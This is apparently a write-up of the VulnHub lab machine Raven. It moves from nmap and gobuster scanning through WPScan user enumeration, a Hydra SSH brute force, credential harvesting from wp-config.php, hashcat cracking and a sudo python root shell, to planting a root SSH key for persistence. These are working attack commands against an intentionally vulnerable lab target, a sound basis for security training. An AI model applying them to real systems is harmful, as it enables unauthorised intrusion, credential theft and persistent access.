Raven : VulnHub Walkthrough

← Back to Home

▶️

Video Walkthrough Reference

This writeup follows the full foothold-to-root path demonstrated on the RedSecOps YouTube channel:

▶️Master Ethical Hacking or Red Teaming on a Linux Server: From Initial Foothold to Root →

▸0. Lab Setup ▸1. Host Discovery & Port Scanning ▸2. Web Enumeration & Directory Bruteforce

▸3. WordPress User Enumeration ▸4. SSH Brute Force & Foothold ▸5. wp-config.php Credential Harvest

▸6. DB Enumeration & Hash Cracking ▸7. Privilege Escalation ▸8. Maintaining Persistence

🛡️Attack Path Overview

Recon

Host discovery, port scan, gobuster reveals WordPress.

Enumerate

WPScan reveals users michael and steven.

Foothold user

Hydra cracks michael's SSH password, wp-config leaks DB creds.

Root root

Crack steven's hash, abuse sudo python, persist via SSH key.

🖥️0. Lab Setup

⬇️

Download & Import the Appliance

Raven is a VulnHub target distributed as an OVA appliance.

Download Raven.ova from https://download.vulnhub.com/raven/Raven.ova
Import Appliance into Oracle VirtualBox

Note: Set the VM's network adapter to the same host-only/NAT network as the attacker Kali box before booting.

🔍1. Host Discovery & Port Scanning

🔍

Ping Sweep — Host Discovery

┌──(aravinda㉿kali)-[~]
└─$ nmap -sn 172.20.10.0/28                     
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-13 11:27 +0530
Nmap scan report for 172.20.10.1
Host is up (0.0052s latency).
MAC Address: 62:FD:A6:55:B0:64 (Unknown)
Nmap scan report for 172.20.10.3
Host is up (0.00064s latency).
MAC Address: 08:00:27:16:36:38 (Oracle VirtualBox virtual NIC)
Nmap scan report for 172.20.10.2
Host is up.
Nmap done: 16 IP addresses (3 hosts up) scanned in 3.44 seconds

Target identified: 172.20.10.3 — flagged by its VirtualBox virtual NIC MAC vendor prefix.

🔄

Full TCP Port Scan

┌──(aravinda㉿kali)-[~]
└─$ nmap -p- --open --min-rate 10000 172.20.10.3
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-13 11:28 +0530
Nmap scan report for 172.20.10.3
Host is up (0.00018s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
45784/tcp open  unknown
MAC Address: 08:00:27:16:36:38 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds

Port	Service	Relevance
22	SSH	Credential brute force target once usernames are known
80	HTTP	Static site fronting a WordPress install
111	rpcbind	RPC portmapper, tied to the high ephemeral port below
45784	unknown (RPC)	Dynamically allocated RPC service port

🌐2. Web Enumeration & Directory Bruteforce

📂

Gobuster Directory Discovery

Port 80 serves a static landing page, so directory bruteforcing was needed to uncover hidden content.

┌──(aravinda㉿kali)-[~]
└─$ gobuster dir -u http://172.20.10.3/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.20.10.3/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
fonts                (Status: 301) [Size: 310] [--> http://172.20.10.3/fonts/]
wordpress            (Status: 301) [Size: 314] [--> http://172.20.10.3/wordpress/]
manual                (Status: 301) [Size: 311] [--> http://172.20.10.3/manual/]
js                    (Status: 301) [Size: 307] [--> http://172.20.10.3/js/]
vendor                (Status: 301) [Size: 311] [--> http://172.20.10.3/vendor/]
css                   (Status: 301) [Size: 308] [--> http://172.20.10.3/css/]
server-status         (Status: 403) [Size: 299]
img                   (Status: 301) [Size: 308] [--> http://172.20.10.3/img/]
Progress: 56162 / 56162 (100.00%)
===============================================================
Finished
===============================================================

Found: A /wordpress/ directory hidden behind the static front-end — this becomes the primary attack surface.

🌐3. WordPress User Enumeration

👥

WPScan — Users & Vulnerable Plugins

┌──(aravinda㉿kali)-[~]
└─$ wpscan --url http://172.20.10.3/wordpress -e u,vp 
[i] User(s) Identified:

[+] steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Users identified: michael and steven — both valid usernames to target for SSH credential attacks.

🔒4. SSH Brute Force & Foothold user

🔑

Hydra — Password Spray Against SSH

┌──(aravinda㉿kali)-[~]
└─$ hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://172.20.10.3
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-13 11:39:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.20.10.3:22/
[22][ssh] host: 172.20.10.3   login: michael   password: michael
1 of 1 target successfully completed, 1 valid password found

Weak credential: michael:michael — the username reused as the password.

💻

SSH Login

┌──(aravinda㉿kali)-[~/Desktop]
└─$ ssh michael@172.20.10.3
michael@172.20.10.3's password: 
michael@Raven:~$

🔒5. wp-config.php Credential Harvest

📜

Reading the WordPress Config

michael@Raven:/var/www/html/wordpress$ ls
index.php             wp-cron.php
license.txt           wp-includes
readme.html           wp-links-opml.php
wp-activate.php       wp-load.php
wp-admin               wp-login.php
wp-blog-header.php    wp-mail.php
wp-comments-post.php  wp-settings.php
wp-config-sample.php  wp-signup.php
wp-config.php          wp-trackback.php
wp-content              xmlrpc.php

michael@Raven:/var/www/html/wordpress$ cat wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

Credential reuse risk: the WordPress config exposes the MySQL root password in cleartext — a classic misconfiguration.

🖥️

Confirming MySQL Is Local-Only

michael@Raven:/var/www/html/wordpress$ ss -tunlp
Netid State      Recv-Q Send-Q   Local Address:Port     Peer  Address:Port 
tcp   LISTEN     0      50           127.0.0.1:3306                *:*

MySQL is bound to localhost, so the harvested credentials must be used from within the SSH session.

⚠️6. Database Enumeration & Hash Cracking user

🔍

Enumerate Databases & Tables

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.16 sec)

mysql> use wordpress;
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)

👤

Dump wp_users

mysql> SELECT * FROM wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+----------------------+-------------+----------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name   |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+----------------------+-------------+----------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |          | 2018-08-12 22:49:12 |                      |           0 | michael        |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven        | steven@raven.org  |          | 2018-08-12 23:31:16 |                      |           0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+----------------------+-------------+----------------+
2 rows in set (0.00 sec)

Target hash: steven's WordPress phpass hash ($P$...) — worth cracking since steven was one of the two enumerated CMS users.

⚙️

Crack the Hash with Hashcat

┌──(aravinda㉿kali)-[~/Desktop]
└─$ nano hash.txt                                            
$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

┌──(aravinda㉿kali)-[~/Desktop]
└─$ hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt
$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/:pink84

Hash Type	Hashcat Mode	Cracked Value
WordPress phpass ($P$)	`-m 400`	`pink84`

➤

Switch User to steven

michael@Raven:/var/www/html/wordpress$ su - steven
Password: 
$ id; whoami; hostname 
uid=1001(steven) gid=1001(steven) groups=1001(steven)
steven
Raven

⬆7. Privilege Escalation root

⚠️

Sudo Misconfiguration — Passwordless Python

steven has passwordless sudo rights over the Python interpreter, allowing a straightforward shell escape.

$ sudo python -c 'import os; os.execl("/bin/sh", "sh")'
# id;whoami;hostname;ifconfig
uid=0(root) gid=0(root) groups=0(root)
root
Raven
eth0      Link encap:Ethernet  HWaddr 08:00:27:16:36:38  
          inet addr:172.20.10.3  Bcast:172.20.10.15  Mask:255.255.255.240

Root achieved: allowing sudo on an interpreter without restricting its capabilities is functionally equivalent to granting full root shell access.

📌8. Maintaining Persistence

Reference: a full walkthrough of persistence methods against this box is covered on the RedSecOps YouTube channel — "Master Ethical Hacking or Red Teaming on a Linux Server: From Initial Foothold to Root" (timestamp 1:00:00).

🔑

Generate an SSH Key Pair on the Attacker Box

┌──(aravinda㉿kali)-[~/.ssh]
└─$ ssh-keygen             
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/aravinda/.ssh/id_ed25519): key
Enter passphrase for "key" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
The key's randomart image is:

📝

Authorize the Public Key as root

root@Raven:~# mkdir .ssh
root@Raven:~# cd .ssh
root@Raven:~/.ssh# nano authorized_keys
root@Raven:~/.ssh# cat authorized_keys 
ssh-ed25519 AAAAgibrish+ aravinda@kali

🚪

Reconnect as root with the Private Key

┌──(aravinda㉿kali)-[~/.ssh]
└─$ ssh -i key root@172.20.10.3
root@Raven:~# id;whoami;hostname;ifconfig
uid=0(root) gid=0(root) groups=0(root)
root
Raven
eth0      Link encap:Ethernet  HWaddr 08:00:27:16:36:38  
          inet addr:172.20.10.3  Bcast:172.20.10.15  Mask:255.255.255.240

Persistence achieved: key-based root access no longer depends on the cracked passwords, surviving credential rotation on the box.

⚡Quick Reference — Raven

Stage	Tool	Key Command / Result
Host discovery	`nmap`	`-sn 172.20.10.0/28`
Full port scan	`nmap`	`-p- --open --min-rate 10000`
Directory bruteforce	`gobuster`	found `/wordpress/`
WP user enum	`wpscan`	`-e u,vp` → michael, steven
SSH brute force	`hydra`	`michael:michael`
Credential harvest	`cat wp-config.php`	MySQL root: `R@v3nSecurity`
DB dump	`mysql`	`SELECT * FROM wp_users;`
Hash crack	`hashcat -m 400`	steven → `pink84`
Privilege escalation	`sudo python`	`os.execl("/bin/sh","sh")`
Persistence	`ssh-keygen`	public key in root's `authorized_keys`

🔑Credentials Recovered

👤michael (SSH) — michael (Hydra rockyou.txt brute force)
🗃️MySQL root — R@v3nSecurity (wp-config.php cleartext)
👤steven (WordPress/su) — pink84 (hashcat -m 400 on phpass hash)

← Back to Home

Master Red Teaming on a Linux Server

Video Walkthrough Reference

Table of Contents

🛡️Attack Path Overview

🖥️0. Lab Setup

Download & Import the Appliance

🔍1. Host Discovery & Port Scanning

Ping Sweep — Host Discovery

Full TCP Port Scan

🌐2. Web Enumeration & Directory Bruteforce

Gobuster Directory Discovery

🌐3. WordPress User Enumeration

WPScan — Users & Vulnerable Plugins

🔒4. SSH Brute Force & Foothold user

Hydra — Password Spray Against SSH

SSH Login

🔒5. wp-config.php Credential Harvest

Reading the WordPress Config

Confirming MySQL Is Local-Only

⚠️6. Database Enumeration & Hash Cracking user

Enumerate Databases & Tables

Dump wp_users

Crack the Hash with Hashcat

Switch User to steven

⬆7. Privilege Escalation root

Sudo Misconfiguration — Passwordless Python

📌8. Maintaining Persistence

Generate an SSH Key Pair on the Attacker Box

Authorize the Public Key as root

Reconnect as root with the Private Key

⚡Quick Reference — Raven

🔑Credentials Recovered